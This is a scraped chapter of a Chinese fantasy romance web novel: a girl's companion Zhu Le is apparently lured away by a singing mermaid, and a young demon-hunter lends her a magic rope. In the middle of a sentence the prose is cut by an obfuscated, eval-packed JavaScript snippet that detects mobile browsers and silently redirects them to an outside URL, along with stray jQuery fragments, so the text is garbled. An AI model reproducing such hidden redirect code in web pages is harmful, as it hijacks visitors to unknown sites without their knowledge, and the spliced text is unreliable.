冉云祉最近觉得气氛变得很不对劲。
队伍里的四个人,冉云清总是以一副平淡的模样出现在她面前,平常没什么情绪波动,但近几日沉默到平静,让她总是惴惴不安。
她尝试与她谈话,可冉云清却轻轻笑着:“会有办法的,你不要多想。”
她又去问戴苍,平常恣意潇洒的人却显得心事重重,连奚落她都没什么兴趣,只是随意瞥了她一眼道:“既然师妹说没事,那便是没事了,二小姐难道是不相信我们?”
正是因为危险她才担心啊,可这两人一度不想让她参与其中,她只能心烦意乱地去找烛乐。
从海神节那天过后,他行踪不定,白日里常常不见,但每次回来的时候却又带着吃食递给她。
于是她便以为他白天忙的是这些。
明日正是月圆之夜,她敲响烛乐的门。他似乎正要睡下,过了半晌来开门时,只穿了一件月白中衣,一头总是扎起来的头发此时散了下来,绸缎似的乖巧的垂落肩头。
他本就生的纯善可欺,瘦弱的身躯配上这一头垂落的青丝,当真比美人还要漂亮。
她总算知道古装剧里,为什么美人青丝散下男子会心动,性别转换亦是如此,此刻她便看直了眼。
“怎么了?”他用一种不解的眼神看着她。
慌乱的收回目光,深呼一口气故作轻松:“少年,要不要去吃夜宵?”
他微微皱眉,似乎是在斟酌犹豫。但对于她的提议,他向来不会拒绝,像一个乖巧的布娃娃,任她予取予求。
他回到屋子里穿衣,她就这样靠在门边看他。
他与初遇时候气质变得不太一样了,许是练剑防身的缘故,身上总有一种似有若无的侠气,明媚张扬。
她颇有一种“吾家有儿初长成”的感觉,光是这样看着,心里便是满满的成就感。
想着想着,话已经出了口:“今晚不用束发了吧?”
“为什么?”
拿着发带的手僵在半空中,另一只手已经抓了一节头发在手里,随着晚风轻轻飘荡,似乎吹进了她的心里,挠的她的心痒痒的。
因为平日里没见过你这样啊。她在心里想。
抬头便是一句不遗余力的夸赞:“你这样更好看。”
客栈门扉悄悄透出微黄的光,倾洒在细腻柔软的沙滩上,微醺的客人相互搀扶,晃晃悠悠的来到海边。
靠海而生的晚归渔民在海边架好摊位,摆上从海里捞到的鱼,有人经过便高喊一声,一派熟悉的烟火气,真实而热烈。
烛乐从不远处找了些许干枯的树枝芦苇,在沙滩上就地支起火堆,将从摊位上挑选的鱼用树枝从中间穿过去,洒上从客栈伙计那里顺过来的佐料,架到火堆上烧烤。
“你怎么懂的那么多?”
她自己生活购买食材的时候,随便从商场里提一些就回来了,然而烛乐在挑选时却很仔细,买到的是最鲜活、肉质看上去更嫩的种类。
视线随着他翻转的动作,停留在他被火光映照的脸上。
他果然听话得没有束发,相比平日更显柔和,只是他似乎并不方便,额边的头发总是被风眷念地吹起而微微拂过脸颊。
冉云祉伸出手轻轻将他的头发别在脑后,触碰到他的时候他似乎怔了一下,却并没有躲开。
他随手将手里的烤鱼递给她掩饰慌乱,又换上一支新的木签,重复着手里的动作,仿佛已经做过成千上万次一般,垂下的发丝随着他的动作在肩头轻轻拂动。
“因为……”他的声音很低,如同一抹转瞬即逝的清风很快消失在夜色里,仿佛只是她的错觉。
他本就从那样的苦日子里摸滚打爬出来的,这些,不过是苦中作乐的一丝丝慰藉,想让自己显得不那么可怜,如今全成了取悦她的工具。他自嘲地想。
只是他不愿意再说了,深深地看着她。
“你不去找客栈伙计,为什么来找我?”他忽然问起,漆黑的眼睛在黑暗里比天上的繁星还要明亮。
冉云祉已经就着烤鱼狼吞虎咽地吃起来,这鱼外面看上去焦黄,内里却是细腻爽滑的鱼肉,白白嫩嫩的,经他手的东西,好像没什么是不好吃的。
“不能找你吗?”她抬头略微不爽地看了他一眼,“好啊,才刚离开清云山庄就觉得我烦了,是不是?”
他低低笑了一声,烤鱼灼烧的声音在两人中间劈啪作响。
“怎么会呢?”声音里透露着一丝虚假又温柔的善解人意。
就算他真的烦了,也不会表现出来,至少现在这样,她会对自己毫无防备。
恰在此时,海边幽幽传来一阵空灵的歌声,甜腻的语调在她耳边环绕,如梦似幻,宛如神秘的海底奏出的遗世天籁。
她嘴唇微张,连同思维也稍有滞缓,似被温暖的海水包裹,深深地陷了进去,心神一阵恍惚。
在她面前,浅蓝色鲛绡纱衣拢在绝色女子身上,纱裙之上点缀着珍珠与浅蓝色的流苏,在月光下如同温柔的海浪闪着盈盈波光。
女子赤足自海边款款而来,莹白的双腿自纱裙中若隐若现,悬而未落的水珠犹如鲛人的鳞片,步调轻柔,道不尽万种风情。
女子在笑,笑起来的时候,多情潋滟的眸子与烛乐相视,美得仿佛不是人间客。
等到海浪的声音将所有的声音都掩盖过去,冉云祉才回过神来,对面已空无一人。
火堆已经熄灭了,只留下零星的火点与烤至一半的海鱼留在原地。她吸吸鼻子,空气中除了烤鱼的香气,似乎还多了一抹不易察觉的海水腥咸的气息。
海风吹到她身上,有些冷。心中不祥的预感愈发强烈。
她沿着海滩上留下的脚印急匆匆回到客栈,正巧与从烛乐房间里出来的两人撞了个满怀。
气氛有些尴尬,女子还是在笑,一头柔顺的长发如海藻般垂至腰际,看上去格外妩媚动人。
可就算她再美,也掩盖不了那女子是鲛人而不是人类的事实。
鲛人缓缓绽开一个善意的笑容,声音都似乎带着蛊惑的味道:“你是来找他的吗?”
可冉云祉怎么瞧都觉得她是在挑衅自己。
“你们一声不响就走了,我的夜宵怎么办,我当然要来找他。”
她伸手抱住烛乐的胳膊:“烛乐,我饿,我们回去。”
烛乐低头看着抱着他的青葱手臂,纤长的睫毛在他眼睛里投下一圈阴影,辨不清他在想些什么。
“烛乐?”察觉到他不动,冉云祉疑惑地看向他。
他低声说:“我要跟她走。”
这句话是对冉云祉说的,显得陌生又疏离。
冉云祉顿时愣在了原地,着急地抓着他的肩膀摇晃,声音不由自主地提高了些许:“什么,我没听错吧?你怎么了?你现在很不对劲你知道吗?我感觉你现在很不清醒。”
传说鲛人歌声能惑人心智,她刚刚不正是晃了心神,被鲛人趁虚而入。此刻烛乐的反应太过反常,以一副坚定的口吻对她再次重复:“我要跟她走。”
冉云祉用不可思议的目光打量着他:“你真的很不对劲,告诉我发生了什么?”
她想听他说出隐情,在这短短的间隙,今晚发生的一切太突然了,她也从来没见过他这样的态度。
他皱着眉想说什么,鲛人从后面拉了拉他的衣角,轻轻笑道:“他说了要跟我走,你还在纠缠什么?”
而后与烛乐的视线对上:“不是与我说好了?”
空气似有滞缓,他轻嗯一声,把冉云祉轻轻推到一边去,也不再看她,跟在鲛人身后迈动步伐。
他像突然变成了一个她不认识的人。
冉云祉呆呆地看着他离去的方向,伸手下意识去抓他,却被他轻易地躲开了,手指只拂过他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739803|150747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一片雪白的衣角,而他头也不回地跟鲛人走向烈海。
她的视线很好,方才空无一人的海边,除了那些醉酒的客人,不知何时多了几条鲛人的身影,只是夜色太深,看不清楚那些鲛人的表情。
烛乐旁若无人地走向他们,很快几人连同鲛人的身影一同消失在海面上。
她望着自己空荡荡的手心,那里还残存着衣角划过的触感,烛乐就这样走了?
说什么她都不相信,好歹和他相处了这么久,他不会是这样的人,一定有什么苦衷,有什么是不能对她说的?她该去问个明白。
她正要往海里追去的时候,恰巧看到江遗身影若有所思地站在离她不远的位置望着她。
对上她的视线,江遗不好意思地摸了摸脑袋,似乎是在斟酌着用词安慰她:“失恋也没什么大不了的,恋人而已,分分合合是常态。”
他显然是误会了什么,明明比她还小的样子,却一副过来人的口吻教育她。
冉云祉狠狠地瞪了他一眼,开口纠正:“他的状态很不对劲,作为朋友我关心他难道不对吗?何况,成双成对在一起的不一定是恋人,你这是恋爱脑,得治。”
说完她正欲往海边走去,江遗连忙拦住她:“这么晚了,你就这样去找他?”
好吧,他也不知道为何在听到他们不是恋人而隐隐开心。
“不然呢?”她总觉得最近常常看到他,心里烦得很,却又不能说什么,只能冷着声音。
“据我所知,你根本没有灵力吧?就这样送上门去,连怎么死的都不知道。”江遗难得正经的给她分析:“更何况你知道路怎么走吗,万一你一去不回,更何况,他根本不愿意跟你走……”
冉云祉瞅着他,片刻后拍拍他的肩膀,如梦初醒:“我还以为你只是个瞧不起人的小屁孩,还有这样冷静的一面,士别三日当刮目相看。”
她不夸还好,一夸他,他的脸色青一阵白一阵:“我可不是小孩子了,你又比我大不了多少。我可是无双盟的弟子,又不像你一根筋。”
他今年十五岁,再有一个月便十六岁了,而她不过十八岁,真不知道她为什么总把自己看成小孩子。
“我倒忘了,你既然是捉妖师,为什么刚才不出手把那鲛人捉了?”
江遗皱眉,暗忖,前几日遇见九尾狐时,你们不是不让我出手吗?
“既然你这么厉害,是不是有很多法器,能不能借我一用?”她用一双期待的眼睛看向他。
他高高的扬起下巴,又恢复了昔日那拽得不可一世的模样:“小爷的东西可金贵着呢,怎么能随便借给你一个门外汉?不过你要是求我的话……”
本意是想看这丫头低头的模样,可谁想他话还没说完,冉云祉立马接道:“天下无双、仗义相助、老奸巨猾的江小公子,您大人有大量不要与小的计较,求求你赏几件法器给小的吧……”
他登时噎住,用一副震惊无比的眼神看着她:“老奸巨猾是这么用的?”
这丫头真的看不透,原以为她的骨头硬的很,不会轻易向谁低头,谁知道能屈能伸,求饶求的比谁都快。
“你不会骗我的吧?”她质疑地又接了一句。
年轻人气性很大,似乎是证明般的,他从自己的腰间解下一根金色的绳子扔到她身上:“这个借给你,到了烈海见了他,不管那小子回不回来,直接把他绑回来……咒语是……”
“你们在悄悄说什么呢?”
那根金绳突然被人拿了去,戴苍将那绳子拎在手里把玩,扬眉笑道:“这绳子挺特别的,看起来是个好宝贝……”
恰在此时,咒语刚好念完,他手中的绳子突然发出金灿灿的光芒,如同一条金蛇灵活灵巧地缠上了他的手臂,他眼疾手快一把握住了冉云清的手,转瞬之间,两人的左右手便绑在了一起。
他们被这突如其来的变故整懵了。